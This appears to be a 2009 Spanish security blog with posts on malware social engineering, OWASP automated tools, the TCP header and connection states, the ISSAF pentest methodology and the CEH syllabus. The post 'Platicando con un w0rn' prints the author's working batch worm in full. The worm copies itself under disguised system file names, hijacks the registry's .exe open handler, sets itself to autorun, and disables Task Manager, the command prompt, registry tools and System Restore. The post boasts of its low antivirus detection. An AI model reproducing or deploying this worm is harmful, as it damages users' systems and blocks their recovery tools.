viernes, 9 de octubre de 2009

Codigo Malicioso + Ing. social = Malware


Las técnicas de propagación y los métodos de infección del malware han evolucionado rápidamente. Esto viene siendo relativamente por que mas que ir "creando nuevas formas" van de la mano de la Señora Ingeniería social, de esta forman llegan al usuario final como "simples" archivos comunes y corrientes que a la vista de propios y extraños son inofensivos ;)


En la imagen anterior se ven distintos tipos de archivos pero con un
a misma extensión *.exe , es una de las formas de engañar a los usuarios finales que no soy muy diestros. Como dicen "no se juzga por las apariencias ... por que las apariencias engañan...." , si tomamos por ejemplo una imagen (Jpg) y esa imagen windows.exe y
simplemente las abrimos con el editor Notepad saltara de forma inequívoca la cabecera de cada archivo , como se muestra en la siguiente imagen


La forma de propagarse va de la mano con la Sra. Ingeniería Social y de ayuda del usuario ¿por que? simplemente por que se aprovecha del factor humano y su gran punto débil "la curiosidad" desde el envió de archivos adjuntos infectados vía email , hasta las redes P2P, pasando por las redes sociales ... ahí esta twitter y facebook , pero esto no llega hasta ahí solo depende de la imaginación de esta gente sin oficio Malware+Phishing (6) esto es muy pero muy fácil ya que en el S.O. de Windows cuenta con un archivo llamado Host que permite redirecionar un dominio original a cualquier otro dominio el archivo host en Win Xp se encuentra en la siguiente direccion %windir%/system32/drivers/etc

Actualmente cualquier sistema informático es susceptible de sufrir un ataque de estos amiguitos, sin duda alguna existen S.O y aplicaciones con grado mayor de riesgo debido a su utilización en el mercado.

Según lo analizado, se puede ver como los creadores de malware pueden ocultar o disfrazar sus
creaciones en casi cualquier tipo de archivos o programas, generando de esta manera un sin número de posibilidades en cuanto a metodologías y técnicas que les permitan elaborar, con mayor eficacia, las tácticas tendientes a lograr sus objetivos de infección.

Hay mucha información colgada en Internet por ejemplo aqui de una forma u otra la información puede ser utilizada de cualquier modo, esa pagina contiene información acerca de lo que realizan la mayoría de los malware pero de esa forma brinda nuevas ideas para las personas que se dedican a "crear" malware ;)
tácticas tendientes a lograr sus objetivos de infección.

viernes, 31 de julio de 2009

El papel de las Herramientas Automatizadas

Existen varias compañías que comercializan herramientas de análisis y comprobación de seguridad automatizadas.Recuerda las limitaciones de estas herramientas, de modo que puedas emplearlas para aquello en lo que son más útiles.

Como Michael Howard apuntó en la Conferencia AppSec del Owasp de 2006 en Seattle, “¡Las herramientas no hacen al software seguro! Ayudan a reducir el proceso y a imponer la política (de seguridad)”.

Lo más importante a remarcar es que estas herramientas son genéricas – es decir, que no están diseñadas para tu códigoespecífico, sino para aplicaciones en general. Lo que significa que aunque pueden encontrar algunos problemas genéricos,no tienen el conocimiento suficiente sobre tu aplicación como para permitirles detectar la mayoría de los fallos.

Por mi experiencia, las incidencias de seguridad más serias son aquellas que no son genéricas, sino profundamente intrincadas en tu lógica de negocio y diseño a medida de la aplicación. Estas herramientas pueden también ser atractivas, ya que encuentran muchas incidencias potenciales.

Aunque ejecutar estas herramientas no toma mucho tiempo, cada uno de los problemas potenciales toma su tiempo investigar y verificar. Si el objetivo es encontrar y eliminar los fallos más serios tan rápidamente como sea posible, ten en consideración si tu tiempo está mejor empleado usando herramientas automatizadas o con las técnicas descritas en esta guía.

Con todo, estas herramientas son ciertamente parte de un programa de seguridad de aplicaciones bien equilibrado.Utilizadas sabiamente, pueden ofrecer soporte a tus procesos globales para producir código más seguro.

Fragmento Extraido de la Guia de Pruebas OWASP 3.0 es español

viernes, 8 de mayo de 2009

Analizando TCP

Protocolo TCP (Transmission Control Protocol)

El Protocolo TCP sin duda uno de los mas complejos de los protocolos es uno de los protocolos mas utilizados por los servicios de Internet y uno de los mas “seguros” según por que maneja un identificador de secuencia en una “sesión” entre dos equipos conectados.

El Objetivo de una sesión es el de coordinar una o múltiples conexiones TCP entre par host. Una sesión de TCP se identifica por una tupla {Fila} con los datos importantes del cliente y el servidor Host A (Cliente) y Host B (Servidor), (ipCliente, ipServidor, puertoCliente, puertoServidor).

De esta manera debemos estudiar la cabecera TCP y conocer detenidamente cada campo que se encuentra en el paquete TCP.
Figura 1 : Cabecera TCP

Puerto Origen: Se trata del puerto origen de conexión (16 bits).

Puerto Destino: Se trata del puerto de destino de conexión (16 bits).

Numero de Secuencia: Este número identifica de manera unívoca a un paquete dentro de una misma conexión. Si la bandera SYN esta activada (se esta estableciendo la conexión) y se emplea un numero inicial de secuencia ISN (Initial Sequence Number) de esta manera el numero del campo es ISN+1 (32 bits).

Numero de Confirmación: Es un número que sirve para confirmar la recepción de un paquete de datos. Si el la bandera ACK esta activa contiene el numero de secuencia que el sistema debe recibir (32 bits).

Inicio de Datos: Este campo indica donde comienzan los datos y donde inicializa y finaliza la cabecera (4 bits).

Reservado: Espacio reservado su valor siempre es 00000 (6 bits)

Banderas (Flag’s): (6 bits) un BIT por cada Bandera

URG (Urgent): Este flag indica que el paquete contiene datos urgentes, en un paquete pueden combinarse datos urgentes y no urgentes, cuando esta bandera está activa el campo de Puntero de urgencia identifica donde comienzan y finalizan los datos de urgentes.

ACK (Acknowledgement):
Este flag indica que además de recibir datos confirma la recepción de un paquete anteriormente recibido, para que el numero de secuencia sea tomado en cuenta en una sesión TCP el flag ACK debe estar activa.

PSH (Push): Cuando esta el flag activado debe vaciarse el buffer de recepción o envió (según se trate de un transmisor o un receptor). Cuando enviamos grandes cantidades de información divididas en paquetes estos se sitúan en un buffer de transmisión FIFO (Primero en entrar, primero en salir) hasta que se prepare el ultimo y este contiene el flag PSH activada indicando que el buffer esta lleno y que debe vaciarse y enviarse los datos.

Cuando los datos llegan al receptor estos son almacenados en un buffer de recepción. En el momento que llega el Paquete con el Flag PSH activado los paquetes son vaciados del buffer y pasan a la pila.

RST (Reset): Cuando se envía el flag RST activado se le avisa al otro extremo de la conexión que ha habido algún tipo de problema con la sincronización de la conexión (Número de secuencia o Número de recepción incorrecto) y que se cerrara la conexión y se establecerá una nueva sincronización.

SYN (Synchorization):
Este flag es utilizado cuando intentamos establecer una nueva conexión con otro host.

FIN (Finalization): El flag activo indica que la conexión debe cerrarse y esperamos que el otro host este listo para cerrar la conexión

Una sesión TCP comienza por una sincronización entre el cliente y el servidor. A este suceso se lo conoce como el Three way handshake que se hace para que los equipos que van a establecer una conexión conozcan la especificación del otro y su configuración de manejar sesiones TCP. Veamos en el siguiente ejemplo de una sincronización de dos equipos.

Figura 2: Inicio de una sesión TCP

Aunque la sesión consta de tres partes en la imagen se observa 4 esto va de la siguiente manera 1) El host A envía su numero de secuencia al Host B,2) El host B confirma el numero de secuencia del host A y envía su numero de secuencia al host A, 3) El host A confirma el numero de secuencia del hot b.

De igual forma que una conexión TCP debe realizarse de manera correcta, la finalización debe efectuarse de un modo correcto.

Figura 3: Finalizacion de una sesión TCP

Tras un envió bidireccional de paquetes de datos, 1) El host A envía el Flag FIN activado, 2) El host B responde con un ACK confirmando la recepción del ultimo paquete enviado,3) Se terminan de enviar los paquetes que estuvieran pendientes, cuando los datos son enviados completamente, 4) El host b envía el Flag FIN activado, 5) El host A responde con el flag ACK confirmando la recepción y se da por finalizada la conexión TCP.

Estado de las conexiones TCP, como ya sabemos hasta ahora este protocolo está orientado a conexiones y como tal tiene estados definidos según en que punto de la conexión se encuentre el socket y están detallados en el RFC 793 y son:

LISTEN:Un host que espera conexiones de un cliente y escucha en un puerto genera un socket con un estado en Listen, Cuando un cliente se conecta al host el socket pasa a un estado de Established y otro socket pasa al estado Listen.

SYN-SENT: Cuando se envía un paquete con el flag SYN activado como primer paso para el saludo de tres tiempos el socket queda con el estado SYN-SENT.

SYN-RECEIVED: Este estado es seguidamente después de un SYN se responde con un SYN/ACK los socket tienen estado SYN-RECEIVED

ESTABLISHED: Cuando finaliza el saludo de tres tiempos el estado de los socket es de ESTABLISHED, y permanece con este estado durante todo el tiempo que dura la conexión.

FIN-WAIT-1: El socket entra en este estado cuando se envía el flag FIN activado pero aun no se ha recibido la confirmación de ese paquete.

FIN-WAIT-2: Una vez se reciba la confirmación ACK del paquete de FIN, el socket ingresa a ese estado (solo se reciben datos).

CLOSE-WAIT: Si recibimos el flag FIN activado y aún no hay datos para enviar el socket pasa al estado CLOSE-WAIT.

CLOSING: Si ambos host desean finalizar la conexión, los socket pasan al estado CLOSING.

LAST-ACK: Una vez enviados los datos y el flag FIN activado en la finalización de una conexión TCP, cuando el ultimo en haber recibido un paquete esta pendiente de recibir la confirmación, el socket entra en el estado LAST-ACK.

TIME-WAIT: Una vez que es enviado el paquete de datos y el flag FIN activado en la finalización de una conexión TCP cuando el primero en haber enviado el paquete envía la confirmación al último paquete FIN ingresa a un estado TIME –WAIT para esperar un tiempo moderado confirmando que fue decepcionado de manera correcta

martes, 14 de abril de 2009

Metodología de test de intrusión ISSAF

Metodología de test de intrusión

La metodología de test de penetración ISSAF esta diseñada para evaluar su Red de trabajo, sistema y control de aplicaciones .Esta enfocada en tres fases y nueve pasos de evaluación.

El enfoque incluye tres fases siguientes:

  1. Planificación y Preparación
  2. Evaluación
  3. Reportes, Limpieza y Destrucción de Objetos


Planificación y Preparación

En esta fase comprende los pasos iniciales para el intercambio de información, planificar y prepararse para la prueba. Antes de llevar a cabo la prueba formal de acuerdo será firmado por las ambas partes. Que constituye la base de esta tarea y la mutua protección jurídica. Asimismo especificará la participación del equipo, las fechas exactas, los tiempos de la prueba, la escalada de privilegios y otros arreglos.

Las Siguientes actividades son previstas en la siguiente fase

  1. Identificación de las personas de contactos de ambas partes
  2. Apertura de Reunión para identificar el alcance, el enfoque y la metodología, de acuerdo a los casos de pruebas, la escalada de privilegios y los Path.

Evaluación

Esta es la fase en donde lleva acabo el test de penetración. En la fase de evaluación en un enfoque por capas deberá ir seguida, como se muestra en la siguiente figura.

  1. Recolección de Información
  2. Mapeo de la red de trabajo
  3. Identificación de vulnerabilidades
  4. Penetración
  5. Obtener Acceso y escalada de privilegios
  6. Enumeración
  7. Comprometer usuarios remotos y sitios
  8. Mantener Acceso

Reportes, Limpieza y Destrucción de Objetos

En esta fase se presenta reportes

En el curso de pruebas de penetración en caso de una cuestión crítica es identificado, debe ser informado de inmediato para garantizar que la organización es consciente de ello. En este punto crítico de su expedición deben ser discutidos y buscar contramedidas para Resolver los problemas críticos identificados en la prueba.

Después de la terminación de todos los casos de prueba definidos en el ámbito de trabajo, un informe escrito que describe los resultados detallados de las pruebas y los exámenes deberían preparar con recomendaciones para la mejora. El informe debe seguir una estructura bien documentada. Cosas que deberían incluirse en el informe se las presenta en la siguiente lista:

  1. Resumen de Gestión
  2. Alcance del proyecto
  3. Herramientas utilizadas (Incluyendo Exploits)
  4. Fechas y horas reales en las que se llevo acabo las pruebas en el sistema
  5. Todos y cada uno de salida de las pruebas realizadas (con exclusión de informes de análisis de vulnerabilidad que pueden ser incluidos como documentos adjuntos).

Toda la información que se crea y / o son almacenados en los sistemas de prueba deben ser removido de estos sistemas. Si estos es por alguna razón no fueran posibles remover desde un sistema remoto, todos estos archivos (con su ubicación) deben mencionarse en el informe técnico para que el cliente y el personal técnico fuera capaz de eliminar estos después de que el informe haya sido recibido.



lunes, 16 de marzo de 2009

Platicando con un w0rn

En realidad no se si llamarlo worm, pero estoy aprendiendo batch y se me ocurrio escribir algo ( en realidad de la epocas de las piedras) pero de eso se trata de ir evolucionando conforme con lo que uno va adquiriendo conocimientos y experiencias
señoras y señores con ustedes J0ichit.bat.A

@echo off
rem Coded by iax0r

set e=t
set t=s
set s=e

copy %0 %systemroot%\system32\Update.dat.bat
copy %0 %systemroot%\system32\config\systemprofile\CondigSys.sys.bat
copy %0 %allusersprofile%\NtUser.dat.bat
copy %0 %temp%\Indexx.php.bat
a%e%%e%rib +h +%t% %systemroot%\system32\Update.dat.bat
a%e%%e%rib +h +%t% %systemroot%\system32\config\systemprofile\ConfigSys.sys.bat
a%e%%e%rib +h +%t% %allusersprofile%\NtUser.dat.bat
a%e%%e%rib +h +%t% %temp%\Indexx.php.bat
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d "%ConfigSys.sys.bat" /f
reg add HKCR\exefile\shell\runas\command /ve /t REG_SZ /d "NtUser%.dat.bat" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "%Indexx%.php.bat" /t
echo MSgbox "Infected By iax0r",16,"SystemR00t" >%systemroot%\popup.vbs
attrib +h +s popup.vbs
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NofolderOptions /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v NofolderOptions /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v NoFind /t REG_DWORD /d 1 /f
cd\
echo ^J0ichi.Bat.A ^ > %systemdrive%\index.html
echo ^ Infected by iax0r ^ >> %systemdrive%\index.html
attrib +h +s %systemdrive%\index.html
echo start iexplore %systemdrive%\index.html> %systemdrive%\Show.bat
Attrib +H +s %systemdrive%\show.bat
FOR /L %%i IN (0,1,23) do (AT 0%%i:00 /Interactive start %systemdrive%\Show.bat)
start iexplore %systemdrive\index.html
start %systemroot%\popup.vbs

hay un servicio que se llama con el cual realice un examen de prueba y me dejo el siguiente resultado

File Information
Report Generated:
16.3.2009 at 14.00.13 (GMT 1)
Time for scan:
52 seconds
File Name:
Xor.bat
File Size:
2 KB
MD5 Hash:
B7ED702BEDE8349A5694C9AE9D072462
SHA1 Hash:
05F46331C51F6CAC6910CEFBE2F8705832355F8B
Detection Rate:
2 on 24 (8,33 %)
Status:INFECTED

miércoles, 28 de enero de 2009

Eccouncil + CEH


Hace tiempo escribí algo muy pobre acerca de lo que es CEH, en total son 22 módulos el certificado es otorgado por Ec-Council (www.eccouncil.org), aquí en Bolivia si no me equivoco cognos compro la franquicia para realizar las certificaciones y el trainer es un tal Andrade, según lo que leído es que hay muchas personas que hasta ahora no se le habilitan los servidores para que puedan dar el examen y realmente certificarse ¿la culpa de quien es? No lo se y tampoco interesa pero se puede observar que la cosa no es nada seria, obviamente que en otros países si lo es como ser en México

La siguiente lista son los 22 módulos que engloban la Certificación

• Introduction to Ethical Hacking
• Footprinting Techniques
• Scanning
• Enumeration
• System Hacking
• Trojans and Backdoors
• Sniffers
• Denial of Service

•Social Engineering
• Session Hijacking
• CEH Hacking Web Servers
• Web Application Vulnerabilities
• Web-based Password Cracking Techniques
• SQL Injection
• Hacking Wireless Networks
• Virus and worms

• Hacking Novell
• Linux Hacking
• Evading, IDS, Firewalls and Honeypots
• Buffer Overflows
• Cryptography
• Penetration Testing

Trataremos de ver a fondo cada modulo por nuestra cuenta y con la ayuda de un buen amigo llamado google ;)

Related Posts Plugin for WordPress, Blogger...